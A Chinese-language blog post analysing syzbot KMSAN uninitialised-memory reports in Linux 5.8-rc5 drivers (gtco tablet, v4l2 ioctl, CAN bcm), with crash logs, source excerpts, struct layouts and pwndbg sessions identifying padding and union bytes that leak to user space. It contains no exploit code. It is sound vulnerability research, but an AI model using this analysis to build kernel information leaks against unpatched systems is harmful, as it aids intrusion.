4个syzbot KMSAN uninit-value bug分析

KMSAN: uninit-value in joydev_connect

https://syzkaller.appspot.com/bug?id=b45de5d106f4c8795118d0c98e7bd572b9ad30a7

Linux Kernel 5.8.0-rc5

Log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
usb 1-1: config 0 interface 219 altsetting 0 endpoint 0xA has invalid wMaxPacketSize 0
usb 1-1: New USB device found, idVendor=078c, idProduct=1002, bcdDevice=e6.47
usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
usb 1-1: config 0 descriptor??
gtco 1-1:0.219: Collection level already at zero
input: GTCO_CalComp as /devices/platform/dummy_hcd.0/usb1/1-1/1-1:0.219/input/input5
=====================================================
BUG: KMSAN: uninit-value in joydev_connect+0x10c0/0x1920 drivers/input/joydev.c:958
CPU: 1 PID: 27 Comm: kworker/1:1 Not tainted 5.8.0-rc5-syzkaller #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
Workqueue: usb_hub_wq hub_event
Call Trace:
__dump_stack lib/dump_stack.c:77 [inline]
dump_stack+0x21c/0x280 lib/dump_stack.c:118
kmsan_report+0xf7/0x1e0 mm/kmsan/kmsan_report.c:121
__msan_warning+0x58/0xa0 mm/kmsan/kmsan_instr.c:215
joydev_connect+0x10c0/0x1920 drivers/input/joydev.c:958
input_attach_handler drivers/input/input.c:1031 [inline]
input_register_device+0x1d7b/0x21c0 drivers/input/input.c:2229
gtco_probe+0x32ce/0x39b0 drivers/input/tablet/gtco.c:990
usb_probe_interface+0xece/0x1550 drivers/usb/core/driver.c:374
really_probe+0xf20/0x20b0 drivers/base/dd.c:529
driver_probe_device+0x293/0x390 drivers/base/dd.c:701
__device_attach_driver+0x63f/0x830 drivers/base/dd.c:807
bus_for_each_drv+0x2ca/0x3f0 drivers/base/bus.c:431
__device_attach+0x4e2/0x7f0 drivers/base/dd.c:873
devic

分析

未初始化变量在drivers/input/tablet/gtco.c

1
2
__u32 globalval[TAG_GLOB_MAX];
__u32 oldval[TAG_GLOB_MAX];

TAG_GLOB_MAX是12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define TAG_GLOB_USAGE        0
#define TAG_GLOB_LOG_MIN 1
#define TAG_GLOB_LOG_MAX 2
#define TAG_GLOB_PHYS_MIN 3
#define TAG_GLOB_PHYS_MAX 4
#define TAG_GLOB_UNIT_EXP 5
#define TAG_GLOB_UNIT 6
#define TAG_GLOB_REPORT_SZ 7
#define TAG_GLOB_REPORT_ID 8
#define TAG_GLOB_REPORT_CNT 9
#define TAG_GLOB_PUSH 10
#define TAG_GLOB_POP 11

#define TAG_GLOB_MAX 12

这……global var完全没初始化啊,怎么这样写

1
2
3
4
5
if (device->max_X == 0) {
device->max_X = globalval[TAG_GLOB_LOG_MAX];
device->min_X = globalval[TAG_GLOB_LOG_MIN];
}
break;
1
input_set_abs_params(inputdev, ABS_X, device->min_X, device->max_X, 0, 0);

程序走的分支是根据参数中的report决定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
while (i < length) {
prefix = report[i++];

/* Determine data size and save the data in the proper variable */
size = (1U << PREF_SIZE(prefix)) >> 1;
if (i + size > length) {
dev_err(ddev,
"Not enough data (need %d, have %d)\n",
i + size, length);
break;
}

switch (size) {
case 1:
data = report[i];
break;
case 2:
data16 = get_unaligned_le16(&report[i]);
break;
case 4:
data32 = get_unaligned_le32(&report[i]);
break;
}

/* Skip size of data */
i += size;

/* What we do depends on the tag type */
tag = PREF_TAG(prefix);
type = PREF_TYPE(prefix);
switch (type) {

但是这个report并不是固定的,可控

1
2
3
case TYPE_GLOBAL:
switch (tag) {
// ...

然而并不能保证一定先调用这个分支,导致了未初始化

范围是栈上一个12*int数组

数据带不回用户态,也不能作为指针,只能产生逻辑错误

KMSAN: uninit-value in video_usercopy

https://syzkaller.appspot.com/bug?id=46f76391fe0b58c2cc790c8e6f82bdf5b41d0354

Linux Kernel 5.8.0-rc5

Log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
=====================================================
BUG: KMSAN: uninit-value in kmsan_check_memory+0xd/0x10 mm/kmsan/kmsan_hooks.c:428
CPU: 0 PID: 8471 Comm: syz-executor794 Not tainted 5.8.0-rc5-syzkaller #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
Call Trace:
__dump_stack lib/dump_stack.c:77 [inline]
dump_stack+0x1df/0x240 lib/dump_stack.c:118
kmsan_report+0xf7/0x1e0 mm/kmsan/kmsan_report.c:121
kmsan_internal_check_memory+0x238/0x3d0 mm/kmsan/kmsan.c:423
kmsan_check_memory+0xd/0x10 mm/kmsan/kmsan_hooks.c:428
instrument_copy_to_user include/linux/instrumented.h:91 [inline]
_copy_to_user+0x100/0x1d0 lib/usercopy.c:30
copy_to_user include/linux/uaccess.h:161 [inline]
video_put_user drivers/media/v4l2-core/v4l2-ioctl.c:3226 [inline]
video_usercopy+0x248a/0x2c00 drivers/media/v4l2-core/v4l2-ioctl.c:3325
video_ioctl2+0x9f/0xb0 drivers/media/v4l2-core/v4l2-ioctl.c:3335
v4l2_ioctl+0x23f/0x270 drivers/media/v4l2-core/v4l2-dev.c:360
vfs_ioctl fs/ioctl.c:48 [inline]
ksys_ioctl fs/ioctl.c:753 [inline]
__do_sys_ioctl fs/ioctl.c:762 [inline]
__se_sys_ioctl+0x2e9/0x410 fs/ioctl.c:760
__x64_sys_ioctl+0x4a/0x70 fs/ioctl.c:760
do_syscall_64+0xb0/0x150 arch/x86/entry/common.c:386
entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x444009
Code: Bad RIP value.
RSP: 002b:00007ffd83706aa8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00000000004002e0 RCX: 0000000000444009
RDX: 0000000020000100 RSI: 00000000c0505611 RDI: 0000000000000003
RBP: 00000000006ce018 R08: 00000000004002e0 R09: 00000000004002e0
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000401c90
R13: 0000000000401d20 R14: 0000000000000000 R15: 0000000000000000

Local variable ----vb32.i@video_usercopy created at:
video_put_user drivers/media/v4l2-core/v4l2-ioctl.c:3210 [inline]
video_usercopy+0x20bd/0x2c00 drivers/media/v4l2-core/v4l2-ioctl.c:3325
video_put_user drivers/media/v4l2-core/v4l2-ioctl.c:3210 [inline]
video_usercopy+0x20bd/0x2c00 drivers/media/v4l2-core/v4l2-ioctl.c:3325

Bytes 52-55 of 80 are uninitialized
Memory access of size 80 starts at ffffa41d80dcfce0
=====================================================

分析

drivers/media/v4l2-core/v4l2-ioctl.c line 3210-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct v4l2_buffer *vb = parg;
struct v4l2_buffer_time32 vb32 = {
.index = vb->index,
.type = vb->type,
.bytesused = vb->bytesused,
.flags = vb->flags,
.field = vb->field,
.timestamp.tv_sec = vb->timestamp.tv_sec,
.timestamp.tv_usec = vb->timestamp.tv_usec,
.timecode = vb->timecode,
.sequence = vb->sequence,
.memory = vb->memory,
.m.userptr = vb->m.userptr,
.length = vb->length,
.request_fd = vb->request_fd,
};

if (copy_to_user(arg, &vb32, sizeof(vb32)))
return -EFAULT;
break;

结构体定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct v4l2_buffer_time32 {
__u32 index;
__u32 type;
__u32 bytesused;
__u32 flags;
__u32 field;
struct old_timeval32 timestamp;
struct v4l2_timecode timecode;
__u32 sequence;

/* memory location */
__u32 memory;
union {
__u32 offset;
unsigned long userptr;
struct v4l2_plane *planes;
__s32 fd;
} m;
__u32 length;
__u32 reserved2;
union {
__s32 request_fd;
__u32 reserved;
};
};

编译之后的内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000 v4l2_buffer_time32 struc ; (sizeof=0x50, align=0x8, copyof_152)
00000000 index dd ?
00000004 type dd ?
00000008 bytesused dd ?
0000000C flags dd ?
00000010 field dd ?
00000014 timestamp old_timeval32 ?
0000001C timecode v4l2_timecode ?
0000002C sequence dd ?
00000030 memory dd ?
00000034 db ? ; undefined
00000035 db ? ; undefined
00000036 db ? ; undefined
00000037 db ? ; undefined
00000038 m v4l2_buffer_time32::$F88FECCE053155685B8E90846FFE160D ?
00000040 length dd ?
00000044 reserved2 dd ?
00000048 anonymous_0 v4l2_buffer_time32::$568C605C3BC64B6FBDCB8F8D0FEB1B37 ?
0000004C db ? ; undefined
0000004D db ? ; undefined
0000004E db ? ; undefined
0000004F db ? ; undefined

结构体在kernel stack上,x86与x86-64均crash

未初始化的有3个地方

  • 由于内存对齐的原因,存在空洞内存,没有初始化

  • 代码里reserved2成员没有初始化

  • 这边m是个union类型,里面除了一个planes指针以外其他的成员都是32bit

    在64位系统下,指针是8byte,所以这个union占8bytes

    初始化的时候对这个union初始化选择的是userptr这个成员,长度为4个字节,导致有4个字节没有初始化

后面只有一个copy to user,只能leak

查看Syscall中变量是否被覆盖,发现触发了中断碰到了变量,待进一步调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
pwndbg> c
Continuing.
ERROR: Could not find ELF base!

Thread 1 hit Hardware watchpoint 11: *0xffffc9000020be08

Old value = 2145817
New value = -1068476911
0xffffffff84000f51 in error_entry () at arch/x86/entry/entry_64.S:873
873 PUSH_AND_CLEAR_REGS save_ret=1
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────
*RAX 0xffffffff82dca52a (v4l2_ioctl+106) ◂— mov rdi, r12 /* 0x894cfe8944e7894c */
*RBX 0xffffffff82dcb980 ◂— push rbp /* 0x56415741e5894855 */
RCX 0xffff888130588f00 ◂— 0
*RDX 0x0
RDI 0xffff8881397ad700 ◂— 0
*RSI 0xffffffff84000bfa (asm_sysvec_apic_timer_interrupt+10) ◂— mov rdi, rsp /* 0xffe89d6ee8e78948 */
R8 0x0
R9 0x0
R10 0x0
R11 0xffffffff82dca4c0 (v4l2_ioctl) ◂— push rbp /* 0x56415741e5894855 */
R12 0xffff8881397ad700 ◂— 0
R13 0xc0505611
R14 0x20000100 ◂— add byte ptr [rax], al /* 0x900000000 */
R15 0xc0505611
*RBP 0xffffc9000020beb0 —▸ 0xffffc9000020bee0 —▸ 0xffffc9000020bf18 —▸ 0xffffc9000020bf30 —▸ 0xffffc9000020bf48 ◂— ...
*RSP 0xffffc9000020be08 ◂— adc dword ptr [rsi + 0x50], edx /* 0xc0505611 */
*RIP 0xffffffff84000f51 (error_entry+33) ◂— push rsi /* 0xc03145c931d23156 */
─────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────
► 0xffffffff84000f51 <error_entry+33> push rsi <0xffffffff84000bfa>

0xffffffff84000f54 <error_entry+36> xor ecx, ecx
0xffffffff84000f56 <error_entry+38> xor r8d, r8d
0xffffffff84000f59 <error_entry+41> xor r9d, r9d
0xffffffff84000f5c <error_entry+44> xor r10d, r10d
0xffffffff84000f5f <error_entry+47> xor r11d, r11d
0xffffffff84000f62 <error_entry+50> xor ebx, ebx
0xffffffff84000f64 <error_entry+52> xor ebp, ebp
0xffffffff84000f66 <error_entry+54> xor r12d, r12d
0xffffffff84000f69 <error_entry+57> xor r13d, r13d
0xffffffff84000f6c <error_entry+60> xor r14d, r14d
─────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────
In file: /home/acdxvfsvd/linux-5.8-rc5/arch/x86/entry/entry_64.S
868 * Save all registers in pt_regs, and switch GS if needed.
869 */
870 SYM_CODE_START_LOCAL(error_entry)
871 UNWIND_HINT_FUNC
872 cld
► 873 PUSH_AND_CLEAR_REGS save_ret=1
874 ENCODE_FRAME_POINTER 8
875 testb $3, CS+8(%rsp)
876 jz .Lerror_kernelspace
877
878 /*
─────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000020be08 ◂— adc dword ptr [rsi + 0x50], edx /* 0xc0505611 */
01:0008│ 0xffffc9000020be10 —▸ 0x20000100 ◂— add byte ptr [rax], al /* 0x900000000 */
02:0010│ 0xffffc9000020be18 ◂— adc dword ptr [rsi + 0x50], edx /* 0xc0505611 */
03:0018│ 0xffffc9000020be20 —▸ 0xffff8881397ad700 ◂— 0
04:0020│ 0xffffc9000020be28 —▸ 0xffffc9000020beb0 —▸ 0xffffc9000020bee0 —▸ 0xffffc9000020bf18 —▸ 0xffffc9000020bf30 ◂— ...
05:0028│ 0xffffc9000020be30 —▸ 0xffffffff82dcb980 ◂— push rbp /* 0x56415741e5894855 */
06:0030│ 0xffffc9000020be38 —▸ 0xffffffff82dca4c0 (v4l2_ioctl) ◂— push rbp /* 0x56415741e5894855 */
07:0038│ 0xffffc9000020be40 ◂— 0
───────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► f 0 ffffffff84000f51 error_entry+33
f 1 c0505611
f 2 20000100
f 3 c0505611
f 4 ffff8881397ad700
f 5 ffffc9000020beb0
f 6 ffffffff82dcb980
f 7 ffffffff82dca52a v4l2_ioctl+106
f 8 ffffffff8141d1e0 __se_sys_ioctl+160
f 9 ffffffff8141d1e0 __se_sys_ioctl+160
f 10 ffffffff8141d1e0 __se_sys_ioctl+160
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
ERROR: Could not find ELF base!

Thread 1 hit Breakpoint 1, video_put_user (arg=0x20000100, parg=0xffffc9000020bd50, cmd=3226490385) at drivers/media/v4l2-core/v4l2-ioctl.c:3211
3211 .index = vb->index,
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────
*RAX 0xffffffff82dcb4e6 ◂— mov eax, dword ptr [r12] /* 0xd024848924048b41 */
*RBX 0x40
RCX 0xffff888130588f00 ◂— 8
RDX 0x0
*RDI 0xffff88813aa0fbc0 ◂— and byte ptr [rdi + rsi*2 + 0x1eced17b], 0xa1 /* 0xa11eced17b77a480 */
*RSI 0x0
*R8 0xffff88813bc2d9f0 —▸ 0xffff88813aa0fb40 ◂— adc al, byte ptr [rbx] /* 0x502d3682b3e50312 */
*R9 0xffff88813aa0fb80 ◂— 0
*R10 0xffff88813aa0fb80 ◂— 0
*R11 0xffff88813b0036c0 ◂— 0x2d9f0
*R12 0xffffc9000020bd50 ◂— add byte ptr [rax], al /* 0x900000000 */
*R13 0xfffffffffffffff2
*R14 0xffff88813aa0fb80 ◂— 0
R15 0xc0505611
*RBP 0xffffc9000020be88 —▸ 0xffffc9000020beb0 —▸ 0xffffc9000020bee0 —▸ 0xffffc9000020bf18 —▸ 0xffffc9000020bf30 ◂— ...
*RSP 0xffffc9000020bd00 —▸ 0xffff8881393b21d0 ◂— mov al, 0x21 /* 0xd21b0 */
*RIP 0xffffffff82dcb4e6 ◂— mov eax, dword ptr [r12] /* 0xd024848924048b41 */
─────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────
► 0xffffffff82dcb4e6 mov eax, dword ptr [r12]
0xffffffff82dcb4ea <video_usercopy+1866> mov dword ptr [rsp + 0xd0], eax
0xffffffff82dcb4f1 mov eax, dword ptr [r12 + 4]
0xffffffff82dcb4f6 mov dword ptr [rsp + 0xd4], eax
0xffffffff82dcb4fd mov eax, dword ptr [r12 + 8]
0xffffffff82dcb502 mov dword ptr [rsp + 0xd8], eax
0xffffffff82dcb509 mov eax, dword ptr [r12 + 0xc]
0xffffffff82dcb50e mov dword ptr [rsp + 0xdc], eax
0xffffffff82dcb515 mov eax, dword ptr [r12 + 0x10]
0xffffffff82dcb51a mov dword ptr [rsp + 0xe0], eax
0xffffffff82dcb521 mov eax, dword ptr [r12 + 0x18]
─────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────
In file: /home/acdxvfsvd/linux-5.8-rc5/drivers/media/v4l2-core/v4l2-ioctl.c
3206 case VIDIOC_QBUF_TIME32:
3207 case VIDIOC_DQBUF_TIME32:
3208 case VIDIOC_PREPARE_BUF_TIME32: {
3209 struct v4l2_buffer *vb = parg;
3210 struct v4l2_buffer_time32 vb32 = {
► 3211 .index = vb->index,
3212 .type = vb->type,
3213 .bytesused = vb->bytesused,
3214 .flags = vb->flags,
3215 .field = vb->field,
3216 .timestamp.tv_sec = vb->timestamp.tv_sec,
─────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000020bd00 —▸ 0xffff8881393b21d0 ◂— mov al, 0x21 /* 0xd21b0 */
01:0008│ 0xffffc9000020bd08 ◂— xchg byte ptr [rdx], sil /* 0x28132864a */
02:0010│ 0xffffc9000020bd10 ◂— 0
... ↓
04:0020│ 0xffffc9000020bd20 —▸ 0xffffc9000020bd90 ◂— 0
05:0028│ 0xffffc9000020bd28 —▸ 0xffff8881397ad700 ◂— 0
06:0030│ 0xffffc9000020bd30 —▸ 0xffffc9000020be98 —▸ 0xffffffff82dcb980 ◂— push rbp /* 0x56415741e5894855 */
07:0038│ 0xffffc9000020bd38 ◂— 0
───────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► f 0 ffffffff82dcb4e6
f 1 ffffffff82dcb4e6
f 2 ffffffff82dcb9ac video_ioctl2+44
f 3 ffffffff82dca53b v4l2_ioctl+123
f 4 ffffffff8141d1e0 __se_sys_ioctl+160
f 5 ffffffff8141d1e0 __se_sys_ioctl+160
f 6 ffffffff8141d1e0 __se_sys_ioctl+160
f 7 ffffffff8141d1e0 __se_sys_ioctl+160
f 8 ffffffff8141d12e __x64_sys_ioctl+30
f 9 ffffffff83e875ec do_syscall_64+76
f 10 ffffffff84000068 entry_SYSCALL_64+104
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p &vb32.m
$22 = (union {...} *) 0xffffc9000020be08
pwndbg> i b
Num Type Disp Enb Address What
1 breakpoint keep y 0xffffffff82dcb4e6 in video_usercopy at drivers/media/v4l2-core/v4l2-ioctl.c:3211
breakpoint already hit 19 times
7 breakpoint keep y <PENDING> *main
11 hw watchpoint keep y *0xffffc9000020be08
breakpoint already hit 2 times

KMSAN: uninit-value in _copy_to_iter (3)

https://syzkaller.appspot.com/bug?id=36fb96b6857e6ee6848ab34825a3f3ce33c84ed8

Linux 5.8.0-rc5

Log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
=====================================================
BUG: KMSAN: uninit-value in kmsan_check_memory+0xd/0x10 mm/kmsan/kmsan_hooks.c:428
CPU: 0 PID: 8682 Comm: syz-executor281 Not tainted 5.8.0-rc5-syzkaller #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
Call Trace:
__dump_stack lib/dump_stack.c:77 [inline]
dump_stack+0x1df/0x240 lib/dump_stack.c:118
kmsan_report+0xf7/0x1e0 mm/kmsan/kmsan_report.c:121
kmsan_internal_check_memory+0x238/0x3d0 mm/kmsan/kmsan.c:423
kmsan_check_memory+0xd/0x10 mm/kmsan/kmsan_hooks.c:428
instrument_copy_to_user include/linux/instrumented.h:91 [inline]
copyout lib/iov_iter.c:142 [inline]
_copy_to_iter+0x3d4/0x26e0 lib/iov_iter.c:631
copy_to_iter include/linux/uio.h:138 [inline]
memcpy_to_msg include/linux/skbuff.h:3571 [inline]
bcm_recvmsg+0x25a/0x740 net/can/bcm.c:1612
sock_recvmsg_nosec net/socket.c:886 [inline]
sock_recvmsg net/socket.c:904 [inline]
__sys_recvfrom+0xacd/0xae0 net/socket.c:2052
__do_sys_recvfrom net/socket.c:2070 [inline]
__se_sys_recvfrom+0x111/0x130 net/socket.c:2066
__x64_sys_recvfrom+0x6e/0x90 net/socket.c:2066
do_syscall_64+0xb0/0x150 arch/x86/entry/common.c:386
entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x448cd9
Code: Bad RIP value.
RSP: 002b:00007f5fbb95fd88 EFLAGS: 00000246 ORIG_RAX: 000000000000002d
RAX: ffffffffffffffda RBX: 00000000006dec68 RCX: 0000000000448cd9
RDX: 0000000000000032 RSI: 0000000020000040 RDI: 0000000000000003
RBP: 00000000006dec60 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00000000006dec6c
R13: ffffff7f00000001 R14: 0000000000000000 R15: 000000306e616376

Uninit was stored to memory at:
kmsan_save_stack_with_flags mm/kmsan/kmsan.c:144 [inline]
kmsan_internal_chain_origin+0xad/0x130 mm/kmsan/kmsan.c:310
kmsan_memcpy_memmove_metadata+0x272/0x2e0 mm/kmsan/kmsan.c:247
kmsan_memcpy_metadata+0xb/0x10 mm/kmsan/kmsan.c:267
__msan_memcpy+0x43/0x50 mm/kmsan/kmsan_instr.c:116
skb_put_data include/linux/skbuff.h:2260 [inline]
bcm_send_to_user+0x250/0x820 net/can/bcm.c:327
bcm_tx_timeout_handler+0x5d0/0x620 net/can/bcm.c:413
__run_hrtimer kernel/time/hrtimer.c:1520 [inline]
__hrtimer_run_queues+0xa61/0x1340 kernel/time/hrtimer.c:1584
hrtimer_run_softirq+0x1b2/0x2b0 kernel/time/hrtimer.c:1601
__do_softirq+0x311/0x83d kernel/softirq.c:293

Local variable ----msg_head@bcm_tx_timeout_handler created at:
bcm_tx_timeout_handler+0x4f/0x620 net/can/bcm.c:398
bcm_tx_timeout_handler+0x4f/0x620 net/can/bcm.c:398

Bytes 12-15 of 50 are uninitialized
Memory access of size 50 starts at ffff88b629809600
=====================================================

分析

uninitialized use 的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static enum hrtimer_restart bcm_tx_timeout_handler(struct hrtimer *hrtimer)
{
struct bcm_op *op = container_of(hrtimer, struct bcm_op, timer);
struct bcm_msg_head msg_head;

if (op->kt_ival1 && (op->count > 0)) {
op->count--;
if (!op->count && (op->flags & TX_COUNTEVT)) {

/* create notification to user */
msg_head.opcode = TX_EXPIRED;
msg_head.flags = op->flags;
msg_head.count = op->count;
msg_head.ival1 = op->ival1;
msg_head.ival2 = op->ival2;
msg_head.can_id = op->can_id;
msg_head.nframes = 0;

bcm_send_to_user(op, &msg_head, NULL, 0);

结构体定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct bcm_timeval {
long tv_sec;
long tv_usec;
};

typedef __u32 canid_t;

struct can_frame {
canid_t can_id; /* 32 bit CAN_ID + EFF/RTR/ERR flags */
__u8 can_dlc; /* frame payload length in byte (0 .. CAN_MAX_DLEN) */
__u8 __pad; /* padding */
__u8 __res0; /* reserved / padding */
__u8 __res1; /* reserved / padding */
__u8 data[CAN_MAX_DLEN] __attribute__((aligned(8)));
};


struct bcm_msg_head {
__u32 opcode;
__u32 flags;
__u32 count;
struct bcm_timeval ival1, ival2;
canid_t can_id;
__u32 nframes;
struct can_frame frames[0];
};

结构体在stack上

64bit下的内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00000000 bcm_msg_head    struc ; (sizeof=0x28, align=0x8, copyof_156, variable size)
00000000 opcode dd ?
00000004 flags dd ?
00000008 count dd ?
0000000C ival1 bcm_timeval ?
00000014 ival2 bcm_timeval ?
0000001C can_id dd ?
00000020 nframes dd ?
00000024 db ? ; undefined
00000025 db ? ; undefined
00000026 db ? ; undefined
00000027 db ? ; undefined
00000028 frames can_frame 0 dup(?)
00000028 bcm_msg_head ends

4bytes的memory hole

同一个repro还有另一种不同的crash情况

Log#2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
[  106.298991][ T4828] BUG: KMSAN: uninit-value in kmsan_check_memory+0xd/0x10
[ 106.305644][ T4828] CPU: 0 PID: 4828 Comm: exp-36fb Tainted: G B 5.8.0-rc5+ #6
[ 106.313624][ T4828] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 106.322398][ T4828] Call Trace:
[ 106.325443][ T4828] dump_stack+0x1df/0x240
[ 106.329789][ T4828] kmsan_report+0xfb/0x1e0
[ 106.334511][ T4828] kmsan_internal_check_memory+0x21d/0x3b0
[ 106.339611][ T4828] ? unwind_get_return_address+0x80/0x120
[ 106.344442][ T4828] kmsan_check_memory+0xd/0x10
[ 106.348753][ T4828] _copy_to_iter+0xd2a/0x27d0
[ 106.353649][ T4828] ? kmsan_get_metadata+0x4f/0x180
[ 106.358228][ T4828] ? __skb_try_recv_from_queue+0x6ba/0xdf0
[ 106.363156][ T4828] __skb_datagram_iter+0x298/0x11b0
[ 106.367877][ T4828] ? __skb_try_recv_datagram+0x543/0x690
[ 106.372925][ T4828] ? skb_copy_datagram_iter+0x2b0/0x2b0
[ 106.378987][ T4828] skb_copy_datagram_iter+0x292/0x2b0
[ 106.383837][ T4828] packet_recvmsg+0x63f/0x1c30
[ 106.388105][ T4828] ? kmsan_internal_unpoison_shadow+0x42/0x70
[ 106.395590][ T4828] ? packet_sendmsg+0x8850/0x8850
[ 106.400814][ T4828] ____sys_recvmsg+0xee5/0xfa0
[ 106.404773][ T4828] ? kmsan_get_metadata+0x4f/0x180
[ 106.409263][ T4828] do_recvmmsg+0x89c/0x1ed0
[ 106.413853][ T4828] ? blkcg_maybe_throttle_current+0x181/0x1400
[ 106.419706][ T4828] ? __msan_poison_alloca+0xf0/0x120
[ 106.424239][ T4828] ? __se_sys_recvmmsg+0xac/0x350
[ 106.428721][ T4828] ? __se_sys_recvmmsg+0xac/0x350
[ 106.433296][ T4828] ? __prepare_exit_to_usermode+0x168/0x4d0
[ 106.440011][ T4828] __se_sys_recvmmsg+0x1d1/0x350
[ 106.444414][ T4828] __x64_sys_recvmmsg+0x62/0x80
[ 106.448981][ T4828] do_syscall_64+0xaf/0x140
[ 106.454286][ T4828] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 106.460138][ T4828] RIP: 0033:0x44f059
[ 106.464225][ T4828] Code: Bad RIP value.
[ 106.468600][ T4828] RSP: 002b:00007ffe65fead18 EFLAGS: 00000203 ORIG_RAX: 000000000000012b
[ 106.477079][ T4828] RAX: ffffffffffffffda RBX: 0000000000400418 RCX: 000000000044f059
[ 106.485319][ T4828] RDX: 00000000006fdaec RSI: 00000000200004c0 RDI: 0000000000000003
[ 106.492842][ T4828] RBP: 00007ffe65fead30 R08: 0000000000000000 R09: 00007ffe65fead30
[ 106.500861][ T4828] R10: 0000000000000022 R11: 0000000000000203 R12: 0000000000405950
[ 106.508510][ T4828] R13: 0000000000000000 R14: 00000000006c5018 R15: 0000000000000000
[ 106.515322][ T4828]
[ 106.517327][ T4828] Uninit was stored to memory at:
[ 106.522289][ T4828] kmsan_internal_chain_origin+0xad/0x130
[ 106.527916][ T4828] kmsan_memcpy_memmove_metadata+0x263/0x2b0
[ 106.534956][ T4828] kmsan_memcpy_metadata+0xb/0x10
[ 106.540194][ T4828] __msan_memcpy+0x43/0x50
[ 106.544803][ T4828] pskb_expand_head+0x381/0x1ad0
[ 106.549198][ T4828] batadv_skb_head_push+0x236/0x360
[ 106.553889][ T4828] batadv_send_skb_packet+0x1b0/0x8c0
[ 106.558620][ T4828] batadv_send_broadcast_skb+0x76/0x90
[ 106.564056][ T4828] batadv_iv_send_outstanding_bat_ogm_packet+0x97e/0xd50
[ 106.570254][ T4828] process_one_work+0x1552/0x1f60
[ 106.574716][ T4828] worker_thread+0xf02/0x23d0
[ 106.578995][ T4828] kthread+0x4f2/0x530
[ 106.583981][ T4828] ret_from_fork+0x22/0x30
[ 106.588674][ T4828]
[ 106.591020][ T4828] Uninit was created at:
[ 106.595629][ T4828] kmsan_save_stack_with_flags+0x3c/0x90
[ 106.602610][ T4828] kmsan_alloc_page+0xb9/0x180
[ 106.607341][ T4828] __alloc_pages_nodemask+0xc07/0x5cf0
[ 106.612273][ T4828] page_frag_alloc+0x3a7/0x900
[ 106.616519][ T4828] __netdev_alloc_skb+0xb22/0xb70
[ 106.621729][ T4828] batadv_iv_ogm_queue_add+0x10b0/0x18d0
[ 106.628289][ T4828] batadv_iv_ogm_schedule+0xd73/0x1420
[ 106.633065][ T4828] batadv_iv_iface_enabled+0x37/0x40
[ 106.637743][ T4828] batadv_hardif_enable_interface+0x151d/0x1890
